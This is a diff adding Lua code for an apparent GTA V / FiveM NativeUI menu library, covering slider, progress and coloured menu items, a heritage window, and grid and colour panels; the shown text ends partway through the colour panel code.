+ self.LeftArrow:Position(378 - Offset + self.Base._Offset.X + self.Base.ParentMenu.WidthOffset, self.LeftArrow.Y)
+
+ if self:Selected() then
+ self.LeftArrow:Draw()
+ self.RightArrow:Draw()
+ self.ItemText:Position(403 + self.Base._Offset.X + self.Base.ParentMenu.WidthOffset, self.ItemText.Y)
+ else
+ self.ItemText:Position(418 + self.Base._Offset.X + self.Base.ParentMenu.WidthOffset, self.ItemText.Y)
+ end
+
+ self.ItemText:Draw()
+end
+
+--[[
+ UIMenuSliderItem.lua
+ Items
+--]]
+
+function UIMenuSliderItem.New(Text, Items, Index, Description, Divider)
+ if type(Items) ~= "table" then Items = {} end
+ if Index == 0 then Index = 1 end
+ local _UIMenuSliderItem = {
+ Base = UIMenuItem.New(Text or "", Description or ""),
+ Items = Items,
+ ShowDivider = tobool(Divider),
+ LeftArrow = Sprite.New("commonmenutu", "arrowleft", 0, 105, 15, 15),
+ RightArrow = Sprite.New("commonmenutu", "arrowright", 0, 105, 15, 15),
+ Background = UIResRectangle.New(0, 0, 150, 9, 4, 32, 57, 255),
+ Slider = UIResRectangle.New(0, 0, 75, 9, 57, 116, 200, 255),
+ Divider = UIResRectangle.New(0, 0, 2.5, 20, 245, 245, 245, 255),
+ _Index = tonumber(Index) or 1,
+ OnSliderChanged = function(menu, item, newindex) end,
+ OnSliderSelected = function(menu, item, newindex) end,
+ }
+ return setmetatable(_UIMenuSliderItem, UIMenuSliderItem)
+end
+
+function UIMenuSliderItem:SetParentMenu(Menu)
+ if Menu() == "UIMenu" then
+ self.Base.ParentMenu = Menu
+ else
+ return self.Base.ParentMenu
+ end
+end
+
+function UIMenuSliderItem:Position(Y)
+ if tonumber(Y) then
+ self.Background:Position(250 + self.Base._Offset.X + self.Base.ParentMenu.WidthOffset, Y + 158.5 + self.Base._Offset.Y)
+ self.Slider:Position(250 + self.Base._Offset.X + self.Base.ParentMenu.WidthOffset, Y + 158.5 + self.Base._Offset.Y)
+ self.Divider:Position(323.5 + self.Base._Offset.X + self.Base.ParentMenu.WidthOffset, Y + 153 + self.Base._Offset.Y)
+ self.LeftArrow:Position(235 + self.Base._Offset.X + self.Base.ParentMenu.WidthOffset, 155.5 + Y + self.Base._Offset.Y)
+ self.RightArrow:Position(400 + self.Base._Offset.X + self.Base.ParentMenu.WidthOffset, 155.5 + Y + self.Base._Offset.Y)
+ self.Base:Position(Y)
+ end
+end
+
+function UIMenuSliderItem:Selected(bool)
+ if bool ~= nil then
+ self.Base._Selected = tobool(bool)
+ else
+ return self.Base._Selected
+ end
+end
+
+function UIMenuSliderItem:Hovered(bool)
+ if bool ~= nil then
+ self.Base._Hovered = tobool(bool)
+ else
+ return self.Base._Hovered
+ end
+end
+
+function UIMenuSliderItem:Enabled(bool)
+ if bool ~= nil then
+ self.Base._Enabled = tobool(bool)
+ else
+ return self.Base._Enabled
+ end
+end
+
+function UIMenuSliderItem:Description(str)
+ if tostring(str) and str ~= nil then
+ self.Base._Description = tostring(str)
+ else
+ return self.Base._Description
+ end
+end
+
+function UIMenuSliderItem:Offset(X, Y)
+ if tonumber(X) or tonumber(Y) then
+ if tonumber(X) then
+ self.Base._Offset.X = tonumber(X)
+ end
+ if tonumber(Y) then
+ self.Base._Offset.Y = tonumber(Y)
+ end
+ else
+ return self.Base._Offset
+ end
+end
+
+function UIMenuSliderItem:Text(Text)
+ if tostring(Text) and Text ~= nil then
+ self.Base.Text:Text(tostring(Text))
+ else
+ return self.Base.Text:Text()
+ end
+end
+
+function UIMenuSliderItem:Index(Index)
+ if tonumber(Index) then
+ if tonumber(Index) > #self.Items then
+ self._Index = 1
+ elseif tonumber(Index) < 1 then
+ self._Index = #self.Items
+ else
+ self._Index = tonumber(Index)
+ end
+ else
+ return self._Index
+ end
+end
+
+function UIMenuSliderItem:ItemToIndex(Item)
+ for i = 1, #self.Items do
+ if type(Item) == type(self.Items[i]) and Item == self.Items[i] then
+ return i
+ end
+ end
+end
+
+function UIMenuSliderItem:IndexToItem(Index)
+ if tonumber(Index) then
+ if tonumber(Index) == 0 then Index = 1 end
+ if self.Items[tonumber(Index)] then
+ return self.Items[tonumber(Index)]
+ end
+ end
+end
+
+function UIMenuSliderItem:SetLeftBadge()
+ error("This item does not support badges")
+end
+
+function UIMenuSliderItem:SetRightBadge()
+ error("This item does not support badges")
+end
+
+function UIMenuSliderItem:RightLabel()
+ error("This item does not support a right label")
+end
+
+function UIMenuSliderItem:Draw()
+ self.Base:Draw()
+
+ if self:Enabled() then
+ if self:Selected() then
+ self.LeftArrow:Colour(0, 0, 0, 255)
+ self.RightArrow:Colour(0, 0, 0, 255)
+ else
+ self.LeftArrow:Colour(245, 245, 245, 255)
+ self.RightArrow:Colour(245, 245, 245, 255)
+ end
+ else
+ self.LeftArrow:Colour(163, 159, 148, 255)
+ self.RightArrow:Colour(163, 159, 148, 255)
+ end
+
+ local Offset = ((self.Background.Width - self.Slider.Width) / (#self.Items - 1)) * (self._Index - 1)
+
+ self.Slider:Position(250 + self.Base._Offset.X + Offset + self.Base.ParentMenu.WidthOffset, self.Slider.Y)
+
+ if self:Selected() then
+ self.LeftArrow:Draw()
+ self.RightArrow:Draw()
+ end
+
+ self.Background:Draw()
+ self.Slider:Draw()
+ if self.ShowDivider then
+ self.Divider:Draw()
+ end
+end
+
+--[[
+ UIMenuColouredItem.lua
+ Items
+--]]
+
+function UIMenuColouredItem.New(Text, Description, MainColour, HighlightColour)
+ if type(Colour) ~= "table" then Colour = { R = 0, G = 0, B = 0, A = 255 } end
+ if type(HighlightColour) ~= "table" then Colour = { R = 255, G = 255, B = 255, A = 255 } end
+ local _UIMenuColouredItem = {
+ Base = UIMenuItem.New(Text or "", Description or ""),
+ Rectangle = UIResRectangle.New(0, 0, 431, 38, MainColour.R, MainColour.G, MainColour.B, MainColour.A),
+ MainColour = MainColour,
+ HighlightColour = HighlightColour,
+ Activated = function(menu, item) end,
+ }
+ _UIMenuColouredItem.Base.SelectedSprite:Colour(HighlightColour.R, HighlightColour.G, HighlightColour.B, HighlightColour.A)
+ return setmetatable(_UIMenuColouredItem, UIMenuColouredItem)
+end
+
+function UIMenuColouredItem:SetParentMenu(Menu)
+ if Menu() == "UIMenu" then
+ self.Base.ParentMenu = Menu
+ else
+ return self.Base.ParentMenu
+ end
+end
+
+function UIMenuColouredItem:Position(Y)
+ if tonumber(Y) then
+ self.Base:Position(Y)
+ self.Rectangle:Position(self.Base._Offset.X, Y + 144 + self.Base._Offset.Y)
+ end
+end
+
+function UIMenuColouredItem:Selected(bool)
+ if bool ~= nil then
+ self.Base._Selected = tobool(bool)
+ else
+ return self.Base._Selected
+ end
+end
+
+function UIMenuColouredItem:Hovered(bool)
+ if bool ~= nil then
+ self.Base._Hovered = tobool(bool)
+ else
+ return self.Base._Hovered
+ end
+end
+
+function UIMenuColouredItem:Enabled(bool)
+ if bool ~= nil then
+ self.Base._Enabled = tobool(bool)
+ else
+ return self.Base._Enabled
+ end
+end
+
+function UIMenuColouredItem:Description(str)
+ if tostring(str) and str ~= nil then
+ self.Base._Description = tostring(str)
+ else
+ return self.Base._Description
+ end
+end
+
+function UIMenuColouredItem:Offset(X, Y)
+ if tonumber(X) or tonumber(Y) then
+ if tonumber(X) then
+ self.Base._Offset.X = tonumber(X)
+ end
+ if tonumber(Y) then
+ self.Base._Offset.Y = tonumber(Y)
+ end
+ else
+ return self.Base._Offset
+ end
+end
+
+function UIMenuColouredItem:Text(Text)
+ if tostring(Text) and Text ~= nil then
+ self.Base.Text:Text(tostring(Text))
+ else
+ return self.Base.Text:Text()
+ end
+end
+
+function UIMenuColouredItem:RightLabel(Text, MainColour, HighlightColour)
+ if tostring(Text) and Text ~= nil then
+ if type(MainColour) == "table" then
+ self.Base.Label.MainColour = MainColour
+ end
+ if type(HighlightColour) == "table" then
+ self.Base.Label.HighlightColour = HighlightColour
+ end
+ self.Base.Label.Text:Text(tostring(Text))
+ else
+ return self.Base.Label.Text:Text()
+ end
+end
+
+function UIMenuColouredItem:SetLeftBadge(Badge)
+ if tonumber(Badge) then
+ self.Base.LeftBadge.Badge = tonumber(Badge)
+ end
+end
+
+function UIMenuColouredItem:SetRightBadge(Badge)
+ if tonumber(Badge) then
+ self.Base.RightBadge.Badge = tonumber(Badge)
+ end
+end
+
+function UIMenuColouredItem:Draw()
+ self.Rectangle:Size(431 + self.ParentMenu.WidthOffset, self.Rectangle.Height)
+ self.Rectangle:Draw()
+ self.Base:Draw()
+end
+
+--[[
+ UIMenuProgressItem.lua
+ Items
+--]]
+
+function UIMenuProgressItem.New(Text, Items, Index, Description, Counter)
+ if type(Items) ~= "table" then Items = {} end
+ if Index == 0 then Index = 1 end
+ local _UIMenuProgressItem = {
+ Base = UIMenuItem.New(Text or "", Description or ""),
+ Data = {
+ Items = Items,
+ Counter = tobool(Counter),
+ Max = 407.5,
+ Index = tonumber(Index) or 1,
+ },
+ Background = UIResRectangle.New(0, 0, 415, 20),
+ Bar = UIResRectangle.New(0, 0, 407.5, 12.5),
+ OnProgressChanged = function(menu, item, newindex) end,
+ OnProgressSelected = function(menu, item, newindex) end,
+ }
+
+ _UIMenuProgressItem.Base.Rectangle.Height = 60
+ _UIMenuProgressItem.Base.SelectedSprite.Height = 60
+
+ if _UIMenuProgressItem.Data.Counter then
+ _UIMenuProgressItem.Base:RightLabel(_UIMenuProgressItem.Data.Index .. "/" .. #_UIMenuProgressItem.Data.Items)
+ else
+ _UIMenuProgressItem.Base:RightLabel((type(_UIMenuProgressItem.Data.Items[_UIMenuProgressItem.Data.Index]) == "table") and tostring(_UIMenuProgressItem.Data.Items[_UIMenuProgressItem.Data.Index].Name) or tostring(_UIMenuProgressItem.Data.Items[_UIMenuProgressItem.Data.Index]))
+ end
+
+ _UIMenuProgressItem.Bar.Width = _UIMenuProgressItem.Data.Index / #_UIMenuProgressItem.Data.Items * _UIMenuProgressItem.Data.Max
+
+ return setmetatable(_UIMenuProgressItem, UIMenuProgressItem)
+end
+
+function UIMenuProgressItem:SetParentMenu(Menu)
+ if Menu() == "UIMenu" then
+ self.Base.ParentMenu = Menu
+ else
+ return self.Base.ParentMenu
+ end
+end
+
+function UIMenuProgressItem:Position(Y)
+ if tonumber(Y) then
+ self.Base:Position(Y)
+ self.Background:Position(8 + self.Base._Offset.X + self.Base.ParentMenu.WidthOffset, 177 + Y + self.Base._Offset.Y)
+ self.Bar:Position(11.75 + self.Base._Offset.X + self.Base.ParentMenu.WidthOffset, 180.75 + Y + self.Base._Offset.Y)
+ end
+end
+
+function UIMenuProgressItem:Selected(bool)
+ if bool ~= nil then
+ self.Base._Selected = tobool(bool)
+ else
+ return self.Base._Selected
+ end
+end
+
+function UIMenuProgressItem:Hovered(bool)
+ if bool ~= nil then
+ self.Base._Hovered = tobool(bool)
+ else
+ return self.Base._Hovered
+ end
+end
+
+function UIMenuProgressItem:Enabled(bool)
+ if bool ~= nil then
+ self.Base._Enabled = tobool(bool)
+ else
+ return self.Base._Enabled
+ end
+end
+
+function UIMenuProgressItem:Description(str)
+ if tostring(str) and str ~= nil then
+ self.Base._Description = tostring(str)
+ else
+ return self.Base._Description
+ end
+end
+
+function UIMenuProgressItem:Offset(X, Y)
+ if tonumber(X) or tonumber(Y) then
+ if tonumber(X) then
+ self.Base._Offset.X = tonumber(X)
+ end
+ if tonumber(Y) then
+ self.Base._Offset.Y = tonumber(Y)
+ end
+ else
+ return self.Base._Offset
+ end
+end
+
+function UIMenuProgressItem:Text(Text)
+ if tostring(Text) and Text ~= nil then
+ self.Base.Text:Text(tostring(Text))
+ else
+ return self.Base.Text:Text()
+ end
+end
+
+function UIMenuProgressItem:Index(Index)
+ if tonumber(Index) then
+ if tonumber(Index) > #self.Data.Items then
+ self.Data.Index = 1
+ elseif tonumber(Index) < 1 then
+ self.Data.Index = #self.Data.Items
+ else
+ self.Data.Index = tonumber(Index)
+ end
+
+ if self.Data.Counter then
+ self.Base:RightLabel(self.Data.Index .. "/" .. #self.Data.Items)
+ else
+ self.Base:RightLabel((type(self.Data.Items[self.Data.Index]) == "table") and tostring(self.Data.Items[self.Data.Index].Name) or tostring(self.Data.Items[self.Data.Index]))
+ end
+
+ self.Bar.Width = self.Data.Index / #self.Data.Items * self.Data.Max
+ else
+ return self.Data.Index
+ end
+end
+
+function UIMenuProgressItem:ItemToIndex(Item)
+ for i = 1, #self.Data.Items do
+ if type(Item) == type(self.Data.Items[i]) and Item == self.Data.Items[i] then
+ return i
+ elseif type(self.Data.Items[i]) == "table" and (type(Item) == type(self.Data.Items[i].Name) or type(Item) == type(self.Data.Items[i].Value)) and (Item == self.Data.Items[i].Name or Item == self.Data.Items[i].Value) then
+ return i
+ end
+ end
+end
+
+function UIMenuProgressItem:IndexToItem(Index)
+ if tonumber(Index) then
+ if tonumber(Index) == 0 then Index = 1 end
+ if self.Data.Items[tonumber(Index)] then
+ return self.Data.Items[tonumber(Index)]
+ end
+ end
+end
+
+function UIMenuProgressItem:SetLeftBadge()
+ error("This item does not support badges")
+end
+
+function UIMenuProgressItem:SetRightBadge()
+ error("This item does not support badges")
+end
+
+function UIMenuProgressItem:RightLabel()
+ error("This item does not support a right label")
+end
+
+function UIMenuProgressItem:CalculateProgress(CursorX)
+ local Progress = CursorX - self.Bar.X
+ self:Index(math.round(#self.Data.Items * (((Progress >= 0 and Progress <= self.Data.Max) and Progress or ((Progress < 0) and 0 or self.Data.Max)) / self.Data.Max)))
+end
+
+function UIMenuProgressItem:Draw()
+ self.Base:Draw()
+
+ if self.Base._Selected then
+ self.Background:Colour(table.unpack(Colours.Black))
+ self.Bar:Colour(table.unpack(Colours.White))
+ else
+ self.Background:Colour(table.unpack(Colours.White))
+ self.Bar:Colour(table.unpack(Colours.Black))
+ end
+
+ self.Background:Draw()
+ self.Bar:Draw()
+end
+
+--[[
+ UIMenuHeritageWindow.lua
+ Windows
+--]]
+
+function UIMenuHeritageWindow.New(Mum, Dad)
+ if not tonumber(Mum) then Mum = 0 end
+ if not (Mum >= 0 and Mum <= 21) then Mum = 0 end
+ if not tonumber(Dad) then Dad = 0 end
+ if not (Dad >= 0 and Dad <= 23) then Dad = 0 end
+ _UIMenuHeritageWindow = {
+ Background = Sprite.New("pause_menu_pages_char_mom_dad", "mumdadbg", 0, 0, 431, 228), -- Background is required, must be a sprite or a rectangle.
+ MumSprite = Sprite.New("char_creator_portraits", ((Mum < 21) and "female_" .. Mum or "special_female_" .. (tonumber(string.sub(Mum, 2, 2)) - 1)), 0, 0, 228, 228),
+ DadSprite = Sprite.New("char_creator_portraits", ((Dad < 21) and "male_" .. Dad or "special_male_" .. (tonumber(string.sub(Dad, 2, 2)) - 1)), 0, 0, 228, 228),
+ Mum = Mum,
+ Dad = Dad,
+ _Offset = { X = 0, Y = 0 }, -- required
+ ParentMenu = nil, -- required
+ }
+ return setmetatable(_UIMenuHeritageWindow, UIMenuHeritageWindow)
+end
+
+function UIMenuHeritageWindow:SetParentMenu(Menu) -- required
+ if Menu() == "UIMenu" then
+ self.ParentMenu = Menu
+ else
+ return self.ParentMenu
+ end
+end
+
+function UIMenuHeritageWindow:Offset(X, Y) -- required
+ if tonumber(X) or tonumber(Y) then
+ if tonumber(X) then
+ self._Offset.X = tonumber(X)
+ end
+ if tonumber(Y) then
+ self._Offset.Y = tonumber(Y)
+ end
+ else
+ return self._Offset
+ end
+end
+
+function UIMenuHeritageWindow:Position(Y) -- required
+ if tonumber(Y) then
+ self.Background:Position(self._Offset.X, 144 + Y + self._Offset.Y)
+ self.MumSprite:Position(self._Offset.X + (self.ParentMenu.WidthOffset / 2) + 25, 144 + Y + self._Offset.Y)
+ self.DadSprite:Position(self._Offset.X + (self.ParentMenu.WidthOffset / 2) + 195, 144 + Y + self._Offset.Y)
+ end
+end
+
+function UIMenuHeritageWindow:Index(Mum, Dad)
+ if not tonumber(Mum) then Mum = self.Mum end
+ if not (Mum >= 0 and Mum <= 21) then Mum = self.Mum end
+ if not tonumber(Dad) then Dad = self.Dad end
+ if not (Dad >= 0 and Dad <= 23) then Dad = self.Dad end
+
+ self.Mum = Mum
+ self.Dad = Dad
+
+ self.MumSprite.TxtName = ((self.Mum < 21) and "female_" .. self.Mum or "special_female_" .. (tonumber(string.sub(Mum, 2, 2)) - 1))
+ self.DadSprite.TxtName = ((self.Dad < 21) and "male_" .. self.Dad or "special_male_" .. (tonumber(string.sub(Dad, 2, 2)) - 1))
+end
+
+function UIMenuHeritageWindow:Draw() -- required
+ self.Background:Size(431 + self.ParentMenu.WidthOffset, 228)
+ self.Background:Draw()
+ self.DadSprite:Draw()
+ self.MumSprite:Draw()
+end
+
+--[[
+ UIMenuGridPanel.lua
+ Panels
+--]]
+
+function UIMenuGridPanel.New(TopText, LeftText, RightText, BottomText)
+ _UIMenuGridPanel = {
+ Data = {
+ Enabled = true,
+ },
+ Background = Sprite.New("commonmenu", "gradient_bgd", 0, 0, 431, 275),
+ Grid = Sprite.New("pause_menu_pages_char_mom_dad", "nose_grid", 0, 0, 200, 200, 0),
+ Circle = Sprite.New("mpinventory", "in_world_circle", 0, 0, 20, 20, 0),
+ Audio = { Slider = "CONTINUOUS_SLIDER", Library = "HUD_FRONTEND_DEFAULT_SOUNDSET", Id = nil },
+ ParentItem = nil,
+ Text = {
+ Top = UIResText.New(TopText or "Top", 0, 0, 0.35, 255, 255, 255, 255, 0, "Centre"),
+ Left = UIResText.New(LeftText or "Left", 0, 0, 0.35, 255, 255, 255, 255, 0, "Centre"),
+ Right = UIResText.New(RightText or "Right", 0, 0, 0.35, 255, 255, 255, 255, 0, "Centre"),
+ Bottom = UIResText.New(BottomText or "Bottom", 0, 0, 0.35, 255, 255, 255, 255, 0, "Centre"),
+ },
+ }
+ return setmetatable(_UIMenuGridPanel, UIMenuGridPanel)
+end
+
+function UIMenuGridPanel:SetParentItem(Item) -- required
+ if Item() == "UIMenuItem" then
+ self.ParentItem = Item
+ else
+ return self.ParentItem
+ end
+end
+
+function UIMenuGridPanel:Enabled(Enabled)
+ if type(Enabled) == "boolean" then
+ self.Data.Enabled = Enabled
+ else
+ return self.Data.Enabled
+ end
+end
+
+function UIMenuGridPanel:CirclePosition(X, Y)
+ if tonumber(X) and tonumber(Y) then
+ self.Circle.X = (self.Grid.X + 20) + ((self.Grid.Width - 40) * ((X >= 0.0 and X <= 1.0) and X or 0.0)) - (self.Circle.Width / 2)
+ self.Circle.Y = (self.Grid.Y + 20) + ((self.Grid.Height - 40) * ((Y >= 0.0 and Y <= 1.0) and Y or 0.0)) - (self.Circle.Height / 2)
+ else
+ return math.round((self.Circle.X - (self.Grid.X + 20) + (self.Circle.Width / 2)) / (self.Grid.Width - 40), 2), math.round((self.Circle.Y - (self.Grid.Y + 20) + (self.Circle.Height / 2)) / (self.Grid.Height - 40), 2)
+ end
+end
+
+function UIMenuGridPanel:Position(Y) -- required
+ if tonumber(Y) then
+ local ParentOffsetX, ParentOffsetWidth = self.ParentItem:Offset().X, self.ParentItem:SetParentMenu().WidthOffset
+
+ self.Background:Position(ParentOffsetX, Y)
+ self.Grid:Position(ParentOffsetX + 115.5 + (ParentOffsetWidth / 2), 37.5 + Y)
+ self.Text.Top:Position(ParentOffsetX + 215.5 + (ParentOffsetWidth / 2), 5 + Y)
+ self.Text.Left:Position(ParentOffsetX + 57.75 + (ParentOffsetWidth / 2), 120 + Y)
+ self.Text.Right:Position(ParentOffsetX + 373.25 + (ParentOffsetWidth / 2), 120 + Y)
+ self.Text.Bottom:Position(ParentOffsetX + 215.5 + (ParentOffsetWidth / 2), 240 + Y)
+
+ if not self.CircleLocked then
+ self.CircleLocked = true
+ self:CirclePosition(0.5, 0.5)
+ end
+ end
+end
+
+function UIMenuGridPanel:UpdateParent(X, Y)
+ local _, ParentType = self.ParentItem()
+ if ParentType == "UIMenuListItem" then
+ local PanelItemIndex = self.ParentItem:FindPanelItem()
+ if PanelItemIndex then
+ self.ParentItem.Items[PanelItemIndex].Value[self.ParentItem:FindPanelIndex(self)] = { X = X, Y = Y }
+ self.ParentItem:Index(PanelItemIndex)
+ self.ParentItem.Base.ParentMenu.OnListChange(self.ParentItem.Base.ParentMenu, self.ParentItem, self.ParentItem._Index)
+ self.ParentItem.OnListChanged(self.ParentItem.Base.ParentMenu, self.ParentItem, self.ParentItem._Index)
+ else
+ local PanelIndex = self.ParentItem:FindPanelIndex(self)
+ for Index = 1, #self.ParentItem.Items do
+ if type(self.ParentItem.Items[Index]) == "table" then
+ if not self.ParentItem.Items[Index].Panels then self.ParentItem.Items[Index].Panels = {} end
+ self.ParentItem.Items[Index].Panels[PanelIndex] = { X = X, Y = Y }
+ else
+ self.ParentItem.Items[Index] = { Name = tostring(self.ParentItem.Items[Index]), Value = self.ParentItem.Items[Index], Panels = { [PanelIndex] = { X = X, Y = Y } } }
+ end
+ end
+ self.ParentItem.Base.ParentMenu.OnListChange(self.ParentItem.Base.ParentMenu, self.ParentItem, self.ParentItem._Index)
+ self.ParentItem.OnListChanged(self.ParentItem.Base.ParentMenu, self.ParentItem, self.ParentItem._Index)
+ end
+ elseif ParentType == "UIMenuItem" then
+ self.ParentItem.ActivatedPanel(self.ParentItem.ParentMenu, self.ParentItem, self, { X = X, Y = Y })
+ end
+end
+
+function UIMenuGridPanel:Functions()
+ local SafeZone = { X = 0, Y = 0 }
+ if self.ParentItem:SetParentMenu().Settings.ScaleWithSafezone then
+ SafeZone = GetSafeZoneBounds()
+ end
+
+ if IsMouseInBounds(self.Grid.X + 20 + SafeZone.X, self.Grid.Y + 20 + SafeZone.Y, self.Grid.Width - 40, self.Grid.Height - 40) then
+ if IsDisabledControlJustPressed(0, 24) then
+ if not self.Pressed then
+ self.Pressed = true
+ CreateThread(function()
+ self.Audio.Id = GetSoundId()
+ PlaySoundFrontend(self.Audio.Id, self.Audio.Slider, self.Audio.Library, 1)
+ while IsDisabledControlPressed(0, 24) and IsMouseInBounds(self.Grid.X + 20 + SafeZone.X, self.Grid.Y + 20 + SafeZone.Y, self.Grid.Width - 40, self.Grid.Height - 40) do
+ Wait(0)
+ local CursorX, CursorY = math.round(GetControlNormal(0, 239) * 1920) - SafeZone.X - (self.Circle.Width / 2), math.round(GetControlNormal(0, 240) * 1080) - SafeZone.Y - (self.Circle.Height / 2)
+
+ self.Circle:Position(((CursorX > (self.Grid.X + 10 + self.Grid.Width - 40)) and (self.Grid.X + 10 + self.Grid.Width - 40) or ((CursorX < (self.Grid.X + 20 - (self.Circle.Width / 2))) and (self.Grid.X + 20 - (self.Circle.Width / 2)) or CursorX)), ((CursorY > (self.Grid.Y + 10 + self.Grid.Height - 40)) and (self.Grid.Y + 10 + self.Grid.Height - 40) or ((CursorY < (self.Grid.Y + 20 - (self.Circle.Height / 2))) and (self.Grid.Y + 20 - (self.Circle.Height / 2)) or CursorY)))
+ end
+ StopSound(self.Audio.Id)
+ ReleaseSoundId(self.Audio.Id)
+ self.Pressed = false
+ end)
+ CreateThread(function()
+ while IsDisabledControlPressed(0, 24) and IsMouseInBounds(self.Grid.X + 20 + SafeZone.X, self.Grid.Y + 20 + SafeZone.Y, self.Grid.Width - 40, self.Grid.Height - 40) do
+ Wait(75)
+ local ResultX, ResultY = math.round((self.Circle.X - (self.Grid.X + 20) + (self.Circle.Width / 2)) / (self.Grid.Width - 40), 2), math.round((self.Circle.Y - (self.Grid.Y + 20) + (self.Circle.Height / 2)) / (self.Grid.Height - 40), 2)
+
+ self:UpdateParent((((ResultX >= 0.0 and ResultX <= 1.0) and ResultX or ((ResultX <= 0) and 0.0) or 1.0) * 2) - 1, (((ResultY >= 0.0 and ResultY <= 1.0) and ResultY or ((ResultY <= 0) and 0.0) or 1.0) * 2) - 1)
+ end
+ end)
+ end
+ end
+ end
+end
+
+function UIMenuGridPanel:Draw() -- required
+ if self.Data.Enabled then
+ self.Background:Size(431 + self.ParentItem:SetParentMenu().WidthOffset, 275)
+
+ self.Background:Draw()
+ self.Grid:Draw()
+ self.Circle:Draw()
+ self.Text.Top:Draw()
+ self.Text.Left:Draw()
+ self.Text.Right:Draw()
+ self.Text.Bottom:Draw()
+ self:Functions()
+ end
+end
+
+--[[
+ UIMenuColourPanel.lua
+ Panels
+--]]
+
+function UIMenuColourPanel.New(Title, Colours)
+ _UIMenuColourPanel = {
+ Data = {
+ Pagination = {
+ Min = 1,
+ Max = 8,
+ Total = 8,
+ },
+ Index = 1000,
+ Items = Colours,
+ Title = Title or "Title",
+ Enabled = true,
+ Value = 1,
+ },
+ Background = Sprite.New("commonmenu", "gradient_bgd", 0, 0, 431, 112),
+ Bar = {},
+ LeftArrow = Sprite.New("commonmenu", "arrowleft", 0, 0, 30, 30),
+ RightArrow = Sprite.New("commonmenu", "arrowright", 0, 0, 30, 30),
+ SelectedRectangle = UIResRectangle.New(0, 0, 44.5, 8),
+ Text = UIResText.New(Title .. " (1 of " .. #Colours .. ")" or "Title" .. " (1 of " .. #Colours .. ")", 0, 0, 0.35, 255, 255, 255, 255, 0, "Centre"),
+ ParentItem = nil,
+ }
+
+ for Index = 1, #Colours do
+ if Index < 10 then
+ table.insert(_UIMenuColourPanel.Bar, UIResRectangle.New(0, 0, 44.5, 44.5, table.unpack(Colours[Index])))
+ else
+ break
+ end
+ end
+
+ if #_UIMenuColourPanel.Data.Items ~= 0 then
+ _UIMenuColourPanel.Data.Index = 1000 - (1000 % #_UIMenuColourPanel.Data.Items)
+ _UIMenuColourPanel.Data.Pagination.Max = _UIMenuColourPanel.Data.Pagination.Total + 1
+ _UIMenuColourPanel.Data.Pagination.Min = 0
+ end
+ return setmetatable(_UIMenuColourPanel, UIMenuColourPanel)
+end
+
+function UIMenuColourPanel:SetParentItem(Item) -- required
+ if Item() == "UIMenuItem" then
+ self.ParentItem = Item
+ else
+ return self.ParentItem
+ end
+end
+
+function UIMenuColourPanel:Enabled(Enabled)
+ if type(Enabled) == "boolean" then
+ self.Data.Enabled = Enabled
+ else
+ return self.Data.Enabled
+ end
+end
+
+function UIMenuColourPanel:Position(Y) -- required
+ if tonumber(Y) then
+ local ParentOffsetX, ParentOffsetWidth = self.ParentItem:Offset().X, self.ParentItem:SetParentMenu().WidthOffset
+
+ self.Background:Position(ParentOffsetX, Y)
+ for Index = 1, #self.Bar do
+ self.Bar[Index]:Position(15 + (44.5 * (Index - 1)) + ParentOffsetX + (ParentOffsetWidth / 2), 55 + Y)
+ end
+ self.SelectedRectangle:Position(15 + (44.5 * ((self:CurrentSelection() - self.Data.Pagination.Min) - 1)) + ParentOffsetX + (ParentOffsetWidth / 2), 47 + Y)
+ self.LeftArrow:Position(7.5 + ParentOffsetX + (ParentOffsetWidth / 2), 15 + Y)
+ self.RightArrow:Position(393.5 + ParentOffsetX + (ParentOffsetWidth / 2), 15 + Y)
+ self.Text:Position(215.5 + ParentOffsetX + (ParentOffsetWidth / 2), 15 + Y)
+ end
+end
+
+function UIMenuColourPanel:CurrentSelection(value, PreventUpdate)
+ if tonumber(value) then
+ if #self.Data.Items == 0 then
+ self.Data.Index = 0
+ end
+
+ self.Data.Index = 1000000 - (1000000 % #self.Data.Items) + tonumber(value)
+
+ if self:CurrentSelection() > self.Data.Pagination.Max then
+ self.Data.Pagination.Min = self:CurrentSelection() - (self.Data.Pagination.Total + 1)
+ self.Data.Pagination.Max = self:CurrentSelection()
+ elseif self:CurrentSelection() < self.Data.Pagination.Min then
+ self.Data.Pagination.Min = self:CurrentSelection() - 1
+ self.Data.Pagination.Max = self:CurrentSelection() + (self.Data.Pagination.Total + 1)
+ end
+
+ self:UpdateSelection(PreventUpdate)
+ else
+ if #self.Data.Items == 0 then
+ return 1
+ else
+ if self.Data.Index % #self.Data.Items == 0 then
+ return 1
+ else
+ return self.Data.Index % #self.Data.Items + 1
+ end
+ end
+ end
+end
+
+function UIMenuColourPanel:UpdateParent(Colour)
+ local _, ParentType = self.ParentItem()
+ if ParentType == "UIMenuListItem" then
+ local PanelItemIndex = self.ParentItem:FindPanelItem()
+ local PanelIndex = self.ParentItem:FindPanelIndex(self)
+ if PanelItemIndex then
+ self.ParentItem.Items[PanelItemIndex].Value[PanelIndex] = Colour
+ self.ParentItem:Index(PanelItemIndex)
+ self.ParentItem.Base.ParentMenu.OnListChange(self.ParentItem.Base.ParentMenu, self.ParentItem, self.ParentItem._Index)
+ self.ParentItem.OnListChanged(self.ParentItem.Base.ParentMenu, self.ParentItem, self.ParentItem._Index)
+ else
+ for Index = 1, #self.ParentItem.Items do
+ if type(self.ParentItem.Items[Index]) == "table" then
+ if not self.ParentItem.Items[Index].Panels then self.ParentItem.Items[Index].Panels = {} end
+ self.ParentItem.Items[Index].Panels[PanelIndex] = Colour
+ else
+ self.ParentItem.Items[Index] = { Name = tostring(self.ParentItem.Items[Index]), Value = self.ParentItem.Items[Index], Panels = { [PanelIndex] = Colour } }
+ end
+ end
+ self.ParentItem.Base.ParentMenu.OnListChange(self.ParentItem.Base.ParentMenu, self.ParentItem, self.ParentItem._Index)
+ self.ParentItem.OnListChanged(self.ParentItem.Base.ParentMenu, self.ParentItem, self.ParentItem._Index)
+ end
+ elseif ParentType == "UIMenuItem" then
+ self.ParentItem.ActivatedPanel(self.ParentItem.ParentMenu, self.ParentItem, self, Colour)
+ end
+end
+
+function UIMenuColourPanel:UpdateSelection(PreventUpdate)
+ local CurrentSelection = self:CurrentSelection()
+ if not PreventUpdate then
+ self:UpdateParent(CurrentSelection)
+ end
+ self.SelectedRectangle:Position(15 + (44.5 * ((CurrentSelection - self.Data.Pagination.Min) - 1)) + self.ParentItem:Offset().X, self.SelectedRectangle.Y)
+ for Index = 1, 9 do
+ self.Bar[Index]:Colour(table.unpack(self.Data.Items[self.Data.Pagination.Min + Index]))
+ end
